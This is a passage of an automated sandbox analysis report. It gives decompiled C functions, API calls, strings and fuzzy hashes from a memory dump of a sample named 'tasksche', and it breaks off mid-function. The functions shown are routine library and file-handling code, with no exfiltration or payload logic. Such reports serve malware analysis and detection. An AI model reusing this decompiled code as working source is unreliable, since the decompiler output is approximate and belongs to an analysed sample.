FindResourceW.KERNEL32(00000000,RTL,00000005), ref: 0040C114

Strings

LTR, xrefs: 0040C124, 0040C129, 0040C138
RTL, xrefs: 0040C10D, 0040C112, 0040C146

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: LTR$RTL
API String ID: 3537982541-719208805
Opcode ID: f2852aa2e9ae8da3690023ec4cfec567c4dc869793b37f459442400b2d93c3ba
Instruction ID: 3bee6f5c2cd76a6cf6446ed83b6680fa0d6a216d229c8f919e909fc3329ffe0a
Opcode Fuzzy Hash: f2852aa2e9ae8da3690023ec4cfec567c4dc869793b37f459442400b2d93c3ba
Instruction Fuzzy Hash: 69F0243238026467DA2067756C4AFE72B7CAB81310F44057AB605E71C1CFA8D499CBEE

Uniqueness

Uniqueness Score: -1.00%

Function 00423463 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 65%

			E00423463() {
				signed long long _v12;
				signed int _v20;
				signed long long _v28;
				signed char _t8;

				_t8 = GetModuleHandleA("KERNEL32");
				if(_t8 == 0) {
					L6:
					_v20 =  *0x42b9d0;
					_v28 =  *0x42b9c8;
					asm("fsubr qword [ebp-0x18]");
					_v12 = _v28 / _v20 * _v20;
					asm("fld1");
					asm("fcomp qword [ebp-0x8]");
					asm("fnstsw ax");
					if((_t8 & 0x00000005) != 0) {
						return 0;
					} else {
						return 1;
					}
				} else {
					__eax = GetProcAddress(__eax, "IsProcessorFeaturePresent");
					if(__eax == 0) {
						goto L6;
					} else {
						_push(0);
						return __eax;
					}
				}
			}

0x00423468
0x00423470
0x00423487
0x00423433
0x0042343c
0x00423448
0x0042344b
0x0042344e
0x00423450
0x00423453
0x00423458
0x00423462
0x0042345a
0x0042345e
0x0042345e
0x00423472
0x00423478
0x00423480
0x00000000
0x00423482
0x00423482
0x00423486
0x00423486
0x00423480

APIs

GetModuleHandleA.KERNEL32(KERNEL32,0041D860), ref: 00423468
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00423478

Strings

IsProcessorFeaturePresent, xrefs: 00423472
KERNEL32, xrefs: 00423463

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 7ab99d9e72488d8bf21e4bf78f78cc33f843bd022a3d825351adfd90e0f12518
Instruction ID: 925bd1e911d968a2cf7935e923f91739ef174afc765d351c528eb22c7f6e48fa
Opcode Fuzzy Hash: 7ab99d9e72488d8bf21e4bf78f78cc33f843bd022a3d825351adfd90e0f12518
Instruction Fuzzy Hash: C7F03060B00A1AD2DB116FA1BC1A67F7B78FB80742FD105D1D6D5E0084DF7885B1D38A

Uniqueness

Uniqueness Score: -1.00%

Function 00419A36 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00419A36(intOrPtr* __ecx, intOrPtr _a4) {
				struct _WNDCLASSEXW _v52;
				short _t17;
				intOrPtr* _t18;
				intOrPtr _t21;

				_t21 = _a4;
				_t18 = __ecx;
				_v52.cbSize = 0x30;
				_v52.style = 0x828;
				_v52.lpfnWndProc = E004199EC;
				_v52.cbClsExtra = 0;
				_v52.cbWndExtra = 0;
				_v52.hInstance = _t21;
				_v52.hIcon = 0;
				_v52.hCursor = LoadCursorW(0, 0x7f00);
				_v52.hbrBackground = 6;
				_v52.lpszMenuName = 0;
				_v52.lpszClassName = L"RarHtmlClassName";
				_v52.hIconSm = 0;
				_t17 = RegisterClassExW( &_v52);
				 *_t18 = _t21;
				return _t17;
			}

0x00419a3e
0x00419a4a
0x00419a4c
0x00419a53
0x00419a5a
0x00419a61
0x00419a64
0x00419a67
0x00419a6a
0x00419a73
0x00419a7a
0x00419a81
0x00419a84
0x00419a8b
0x00419a8e
0x00419a95
0x00419a9a

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 00419A6D
RegisterClassExW.USER32 ref: 00419A8E

Strings

RarHtmlClassName, xrefs: 00419A84
0, xrefs: 00419A4C

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$RarHtmlClassName
API String ID: 1693014935-3342523147
Opcode ID: 191bbc33d2b33050640957ba9683b50acfea39c34108bf4aa43fc12e5a7eb183
Instruction ID: b9ed7023dc6f3226d58ddf2044dfc6b29f2317d5cd4a011e6e0fd8f9270d308a
Opcode Fuzzy Hash: 191bbc33d2b33050640957ba9683b50acfea39c34108bf4aa43fc12e5a7eb183
Instruction Fuzzy Hash: 81F0F2B1D00228ABCB019F9AD844AEEFBF8FF98304F10805BE500B6250D7B916018FA9

Uniqueness

Uniqueness Score: -1.00%

Function 00410E1C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00410E1C(signed char _a4) {
				struct HINSTANCE__* _t2;

				_t2 = GetModuleHandleW(L"kernel32");
				if(_t2 != 0) {
					_t2 = GetProcAddress(_t2, "SetDllDirectoryW");
					if(_t2 != 0) {
						asm("sbb ecx, ecx");
						return _t2->i( ~(_a4 & 0x000000ff) & 0x0042a73c);
					}
				}
				return _t2;
			}

0x00410e21
0x00410e29
0x00410e31
0x00410e39
0x00410e42
0x00000000
0x00410e4b
0x00410e39
0x00410e4d

APIs

GetModuleHandleW.KERNEL32(kernel32,0040FF03,00000001), ref: 00410E21
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00410E31

Strings

SetDllDirectoryW, xrefs: 00410E2B
kernel32, xrefs: 00410E1C

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: SetDllDirectoryW$kernel32
API String ID: 1646373207-2052158636
Opcode ID: 613fa81eedf6cfefe4bb79f79fd7d80da4da150b27e50d1fb967e6d6e35de1a2
Instruction ID: d1dc000951ac042e8af12af71ac4f40d64c7c6d3e89629ddd7054994e9706fe8
Opcode Fuzzy Hash: 613fa81eedf6cfefe4bb79f79fd7d80da4da150b27e50d1fb967e6d6e35de1a2
Instruction Fuzzy Hash: 2BD0A7B03243215797282B729C1AB2B65584B50F027944D3E7E0AC0080CA6DC0A0853F

Uniqueness

Uniqueness Score: -1.00%

Function 00409135 Relevance: 6.1, APIs: 4, Instructions: 128
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E00409135(WCHAR* _a4, signed int* _a8, signed int* _a12, signed int* _a16) {
				signed char _v5;
				signed char _v6;
				signed char _v7;
				char _v8;
				void* _v12;
				signed char _v16;
				void* _v24;
				void* _v32;
				void* _v40;
				short _v4136;
				signed int* _t48;
				signed int* _t49;
				signed int* _t50;
				signed char _t51;
				void* _t52;
				void* _t63;

				E0041AAF0(0x1024);
				_t48 = _a8;
				if(_t48 == 0) {
					L2:
					_v7 = 0;
				} else {
					_v7 = 1;
					if(( *_t48 | _t48[1]) == 0) {
						goto L2;
					}
				}
				_t49 = _a12;
				if(_t49 == 0) {
					L5:
					_v6 = 0;
				} else {
					_v6 = 1;
					if(( *_t49 | _t49[1]) == 0) {
						goto L5;
					}
				}
				_t50 = _a16;
				if(_t50 == 0) {
					L8:
					_v5 = 0;
				} else {
					_v5 = 1;
					if(( *_t50 | _t50[1]) == 0) {
						goto L8;
					}
				}
				_t51 = E00409041(_a4);
				_v16 = _t51;
				if(_t51 == 0xffffffff || (_t51 & 0x00000001) == 0) {
					_v8 = 0;
				} else {
					_v8 = 1;
					E0040908D(_a4, 0);
				}
				_t52 = CreateFileW(_a4, 0x40000000, 3, 0, 3, 0x2000000, 0);
				_v12 = _t52;
				if(_t52 != 0xffffffff) {
					L15:
					if(_v7 != 0) {
						E00411346(_a8,  &_v40);
					}
					if(_v6 != 0) {
						E00411346(_a12,  &_v32);
					}
					if(_v5 != 0) {
						E00411346(_a16,  &_v24);
					}
					asm("sbb eax, eax");
					asm("sbb eax, eax");
					asm("sbb eax, eax");
					SetFileTime(_v12,  ~(_v6 & 0x000000ff) &  &_v32,  ~(_v5 & 0x000000ff) &  &_v24,  ~(_v7 & 0x000000ff) &  &_v40);
					_t63 = CloseHandle(_v12);
					if(_v8 != 0) {
						return E0040908D(_a4, _v16);
					}
				} else {
					_t63 = E0040A3DC(_a4,  &_v4136, 0x800);
					if(_t63 != 0) {
						_t63 = CreateFileW( &_v4136, 0x40000000, 3, 0, 3, 0x2000000, 0);
						_v12 = _t63;
						if(_t63 != 0xffffffff) {
							goto L15;
						}
					}
				}
				return _t63;
			}

0x0040913d
0x00409142
0x0040914c
0x00409159
0x00409159
0x0040914e
0x00409153
0x00409157
0x00000000
0x00000000
0x00409157
0x0040915d
0x00409162
0x0040916f
0x0040916f
0x00409164
0x00409169
0x0040916d
0x00000000
0x00000000
0x0040916d
0x00409173
0x00409178
0x00409185
0x00409185
0x0040917a
0x0040917f
0x00409183
0x00000000
0x00000000
0x00409183
0x0040918c
0x00409191
0x00409197
0x0040929c
0x004091a5
0x004091a9
0x004091ad
0x004091ad
0x004091cd
0x004091cf
0x004091d5
0x00409212
0x00409216
0x0040921f
0x0040921f
0x00409228
0x00409231
0x00409231
0x0040923a
0x00409243
0x00409243
0x0040924e
0x0040925c
0x0040926a
0x00409275
0x0040927e
0x00409288
0x00000000
0x00409290
0x004091d7
0x004091e6
0x004091ed
0x00409204
0x00409206
0x0040920c
0x00000000
0x00000000
0x0040920c
0x004091ed
0x00409299

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,?,?,00407536,?,?,?), ref: 004091CD
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,00407536,?,?,?,?), ref: 00409204
SetFileTime.KERNEL32(?,00000000,00000000,00000000,?,00407536,?,?,?,?), ref: 00409275
CloseHandle.KERNEL32(?,?,00407536,?,?,?,?), ref: 0040927E

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: c5fdc72e3ecabde51e21d1839ada4dc4c9669838a96905c235f6e62884897940
Instruction ID: 149005b1c5d3a5dbb79089aff48ec9cca0dae1d541df05bff41c4f18bd56acf5
Opcode Fuzzy Hash: c5fdc72e3ecabde51e21d1839ada4dc4c9669838a96905c235f6e62884897940
Instruction Fuzzy Hash: 1141A131A00248BEEF12DBA4CC49FEE7BB89F05304F1445AAF851BB2D2C6789E45D755

Uniqueness

Uniqueness Score: -1.00%

Function 00424FCE Relevance: 6.1, APIs: 4, Instructions: 103
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00424FCE(short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				int _t57;
				int _t58;
				signed short* _t59;
				short* _t60;
				int _t65;
				char* _t72;

				_t72 = _a8;
				if(_t72 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t72 != 0) {
						E0041D0C8( &_v20, _a16);
						_t43 = _v20;
						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E00422793( *_t72 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								__eflags = MultiByteToWideChar( *(_v20 + 4), 9, _t72, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E0041EDAE(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t65 =  *(_t56 + 0xac);
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								__eflags = _a12 -  *(_t56 + 0xac);
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t72[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								_t57 =  *(_t56 + 0xac);
								__eflags = _v8;
								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
							_t58 = MultiByteToWideChar( *(_t56 + 4), 9, _t72, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t72 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

0x00424fd8
0x00424fdf
0x00424ff6
0x00000000
0x00424fe6
0x00424fe8
0x00425002
0x00425007
0x0042500a
0x0042500d
0x00425036
0x0042503d
0x0042503f
0x004250c0
0x004250db
0x004250dd
0x0042501d
0x0042501d
0x00425020
0x00425022
0x00425025
0x00425025
0x00425025
0x00425025
0x00000000
0x0042502b
0x0042509f
0x0042509f
0x004250a4
0x004250aa
0x004250ad
0x004250af
0x004250b2
0x004250b2
0x004250b2
0x004250b2
0x00000000
0x004250b6
0x00425041
0x00425044
0x0042504a
0x0042504d
0x00425074
0x00425077
0x0042507d
0x00000000
0x00000000
0x0042507f
0x00425082
0x00000000
0x00000000
0x00425084
0x00425084
0x0042508a
0x0042508d
0x00424ffb
0x00424ffb
0x00425096
0x00000000
0x00425096
0x0042504f
0x00425052
0x00000000
0x00000000
0x00425056
0x00425067
0x0042506d
0x0042506f
0x00425072
0x00000000
0x00000000
0x00000000
0x00425072
0x0042500f
0x00425012
0x00425014
0x0042501a
0x0042501a
0x00000000
0x00424fea
0x00424fea
0x00424fef
0x00424ff3
0x00424ff3
0x00000000
0x00424fef
0x00424fe8

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00425002
__isleadbyte_l.LIBCMT ref: 00425036
MultiByteToWideChar.KERNEL32(00000080,00000009,0041A9BA,?,00000000,00000000,?,?,?,?,0041A9BA,00000000,?), ref: 00425067
MultiByteToWideChar.KERNEL32(00000080,00000009,0041A9BA,00000001,00000000,00000000,?,?,?,?,0041A9BA,00000000,?), ref: 004250D5

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 5ede48c89caf3767bd10844c4e2adb50473344288511d083f5bbcd5d287f352f
Instruction ID: 432046cfce088e341913eb2016d1b5e66f5b1b0e2666f0ac1bd271c546b36d2c
Opcode Fuzzy Hash: 5ede48c89caf3767bd10844c4e2adb50473344288511d083f5bbcd5d287f352f
Instruction Fuzzy Hash: C831D131B00265EFDB20DF64EC809BA7BA0EF41310F5685AAE4618B2D1D735D981DB99

Uniqueness

Uniqueness Score: -1.00%

Function 00413CE8 Relevance: 6.1, APIs: 4, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 49%

			E00413CE8(void* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t34;
				signed int _t35;
				signed int* _t41;
				signed int _t42;
				signed int _t44;
				void* _t67;
				signed int _t72;
				intOrPtr* _t73;
				void* _t75;
				void* _t77;
				signed int _t81;

				_t34 = E0041A4DC(E0042980D, _t75);
				_push(__ecx);
				_push(__ecx);
				_t67 = __ecx;
				_t80 =  *((intOrPtr*)(__ecx + 0x20));
				if( *((intOrPtr*)(__ecx + 0x20)) == 0) {
					_push(0x400400);
					 *((intOrPtr*)(_t67 + 0x20)) = E0041A0EA(0, __edx, __ecx, _t80);
					_t34 = E0041A820(_t67, _t46, 0, 0x400400);
					_t77 = _t77 + 0x10;
				}
				_t81 =  *(_t67 + 0x18);
				if(_t81 != 0) {
					L12:
					 *[fs:0x0] =  *((intOrPtr*)(_t75 - 0xc));
					return _t34;
				} else {
					_t72 =  *((intOrPtr*)(_t67 + 0x1c)) +  *((intOrPtr*)(_t67 + 0x1c));
					_t35 = _t72;
					_t65 = _t35 * 0x4ae4 >> 0x20;
					_push( ~(0 | _t81 > 0x00000000) | ( ~(0 | _t81 > 0x00000000) | _t35 * 0x00004ae4) + 0x00000004);
					_t41 = E0041A0EA(0x4ae4, _t35 * 0x4ae4 >> 0x20, _t67, _t81);
					 *(_t75 - 0x10) = _t41;
					 *(_t75 - 4) =  *(_t75 - 4) & 0x00000000;
					_t82 = _t41;
					if(_t41 == 0) {
						_t42 = 0;
						__eflags = 0;
					} else {
						_push(E00412B7D);
						_push(E00412B65);
						_push(_t72);
						 *_t41 = _t72;
						_t44 =  &(_t41[1]);
						_push(0x4ae4);
						_push(_t44);
						 *(_t75 - 0x14) = _t44;
						E0041C6B6(_t72, _t82);
						_t42 =  *(_t75 - 0x14);
					}
					 *(_t75 - 4) =  *(_t75 - 4) | 0xffffffff;
					 *(_t67 + 0x18) = _t42;
					_t34 = E0041A820(_t67, _t42, 0, _t72 * 0x4ae4);
					if(_t72 > 0) {
						 *(_t75 - 0x10) =  *(_t75 - 0x10) & 0x00000000;
						 *(_t75 - 0x14) = _t72;
						do {
							_t34 =  *(_t67 + 0x18) +  *(_t75 - 0x10);
							_t26 = _t34 + 0x4ad4; // 0x4ad4
							_t73 = _t26;
							if( *_t73 == 0) {
								 *((intOrPtr*)(_t34 + 0x4adc)) = 0x4100;
								_t34 = E0041CF3E(0x4ae4, _t65, _t67, 0x30c00);
								 *_t73 = _t34;
								if(_t34 == 0) {
									_t34 = E004063CE(0x4335ac);
								}
							}
							 *(_t75 - 0x10) =  *(_t75 - 0x10) + 0x4ae4;
							_t30 = _t75 - 0x14;
							 *_t30 =  *(_t75 - 0x14) - 1;
						} while ( *_t30 != 0);
					}
					goto L12;
				}
			}

0x00413ced
0x00413cf2
0x00413cf3
0x00413cf7
0x00413cfb
0x00413cfe
0x00413d05
0x00413d0e
0x00413d11
0x00413d16
0x00413d16
0x00413d19
0x00413d1c
0x00413dde
0x00413de4
0x00413dec
0x00413d22
0x00413d25
0x00413d2e
0x00413d32
0x00413d47
0x00413d48
0x00413d4e
0x00413d51
0x00413d55
0x00413d57
0x00413d78
0x00413d78
0x00413d59
0x00413d59
0x00413d5e
0x00413d63
0x00413d64
0x00413d66
0x00413d69
0x00413d6a
0x00413d6b
0x00413d6e
0x00413d73
0x00413d73
0x00413d7a
0x00413d8a
0x00413d8d
0x00413d97
0x00413d99
0x00413d9d
0x00413da0
0x00413da3
0x00413da6
0x00413da6
0x00413daf
0x00413db6
0x00413dc0
0x00413dc6
0x00413dca
0x00413dd1
0x00413dd1
0x00413dca
0x00413dd6
0x00413dd9
0x00413dd9
0x00413dd9
0x00413da0
0x00000000
0x00413d97

APIs

__EH_prolog.LIBCMT ref: 00413CED
_memset.LIBCMT ref: 00413D11
_memset.LIBCMT ref: 00413D8D
_malloc.LIBCMT ref: 00413DC0

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: _memset$H_prolog_malloc
String ID:
API String ID: 1600808285-0
Opcode ID: 75873b8bc138ad3d6f3cbaf08acd952bbb3a9c6cdc0421f6e50df2b8bea4b983
Instruction ID: 702ce421a693160a9893d7f58a622c69960126b9ff2eeb296b605b135dd4a1ff
Opcode Fuzzy Hash: 75873b8bc138ad3d6f3cbaf08acd952bbb3a9c6cdc0421f6e50df2b8bea4b983
Instruction Fuzzy Hash: F831D4B1E01215ABDB14AF65D9057EB76A8FF14319F10013FE105E7281E7789E9087ED

Uniqueness

Uniqueness Score: -1.00%

Function 00413097 Relevance: 6.1, APIs: 4, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00413097(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4) {
				void* __edi;
				char _t21;
				void* _t25;
				char _t27;
				char _t31;
				void* _t32;
				char _t33;
				void* _t34;

				_t34 = __ecx;
				_t27 = 1;
				 *((char*)(__ecx + 0xa6c)) = 1;
				 *((intOrPtr*)(__ecx + 0x660)) = _a4;
				E00412F1C(__ecx, __edx, __eflags);
				 *((char*)(__ecx + 0x86c)) = 0;
				 *((char*)(__ecx + 0x86d)) = 2;
				E0041A820(_t32, __ecx + 0x86e, 4, 9);
				E0041A820(_t32, _t34 + 0x877, 6, 0xf5);
				_t21 = 0;
				do {
					 *((char*)(_t34 + _t21 + 0x76c)) = _t21;
					_t21 = _t21 + 1;
				} while (_t21 < 3);
				_t31 = _t21;
				_t33 = 1;
				while(_t21 < 0x100) {
					_t33 = _t33 - 1;
					__eflags = _t33;
					 *((char*)(_t34 + _t21 + 0x76c)) = _t31;
					if(_t33 == 0) {
						_t27 = _t27 + 1;
						_t33 = _t27;
						_t31 = _t31 + 1;
						__eflags = _t31;
					}
					_t21 = _t21 + 1;
					__eflags = _t21;
				}
				E0041A820(_t33, _t34 + 0x96c, 0, 0x40);
				_t25 = E0041A820(_t33, _t34 + 0x9ac, 8, 0xc0);
				 *((char*)(_t34 + 0x642)) = 7;
				return _t25;
			}

0x0041309d
0x004130a1
0x004130a3
0x004130a9
0x004130af
0x004130bf
0x004130c6
0x004130cd
0x004130e0
0x004130e8
0x004130ea
0x004130ea
0x004130f1
0x004130f2
0x004130f7
0x004130f9
0x00413111
0x00413102
0x00413102
0x00413103
0x0041310a
0x0041310c
0x0041310d
0x0041310f
0x0041310f
0x0041310f
0x00413110
0x00413110
0x00413110
0x00413120
0x00413133
0x0041313c
0x00413145

APIs

Part of subcall function 00412F1C: _memset.LIBCMT ref: 00412F36

_memset.LIBCMT ref: 004130CD
_memset.LIBCMT ref: 004130E0
_memset.LIBCMT ref: 00413120
_memset.LIBCMT ref: 00413133

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 0d338722b2e3e51696f4e1a05dd7a6835afd7bcab5979c6f78e2f817af711592
Instruction ID: dbb621f027503421eccd8689c294ebf88999011181a54c0115c225b35bd7b5a3
Opcode Fuzzy Hash: 0d338722b2e3e51696f4e1a05dd7a6835afd7bcab5979c6f78e2f817af711592
Instruction Fuzzy Hash: 9811487164478069E220EA7A4C46FE3B6DD9B1931CF44883FF2DEC7183C6AA6846C756

Uniqueness

Uniqueness Score: -1.00%

Function 00411072 Relevance: 6.1, APIs: 4, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E00411072(void* __ecx, void* __edx, void* __edi) {
				void* __ebx;
				intOrPtr _t11;
				intOrPtr _t12;
				long* _t15;
				intOrPtr _t16;
				long* _t23;
				void* _t26;
				intOrPtr _t31;
				void* _t32;

				_t27 = __edi;
				_t26 = __edx;
				E0041A4DC(E004297F9, _t32);
				_push(__ecx);
				EnterCriticalSection(0x44f590);
				_t11 =  *0x44f588; // 0x0
				 *0x44f588 =  *0x44f588 + 1;
				_t35 = _t11;
				if(_t11 == 0) {
					_push(0x1b8);
					_t15 = E0041A89A(0x44f590, _t26, __edi, _t35);
					 *((intOrPtr*)(_t32 - 0x10)) = _t15;
					 *(_t32 - 4) =  *(_t32 - 4) & 0x00000000;
					if(_t15 == 0) {
						_t16 = 0;
						__eflags = 0;
					} else {
						_t16 = E00410F29(_t15, 0x20);
					}
					 *(_t32 - 4) =  *(_t32 - 4) | 0xffffffff;
					 *0x44f584 = _t16;
				}
				_t38 =  *0x44f588 - 1;
				if( *0x44f588 <= 1) {
					LeaveCriticalSection(0x44f590);
					_t12 =  *0x44f584; // 0x0
				} else {
					_push(0x1b8);
					_t23 = E0041A89A(0x44f590, _t26, _t27, _t38);
					 *((intOrPtr*)(_t32 - 0x10)) = _t23;
					 *(_t32 - 4) = 1;
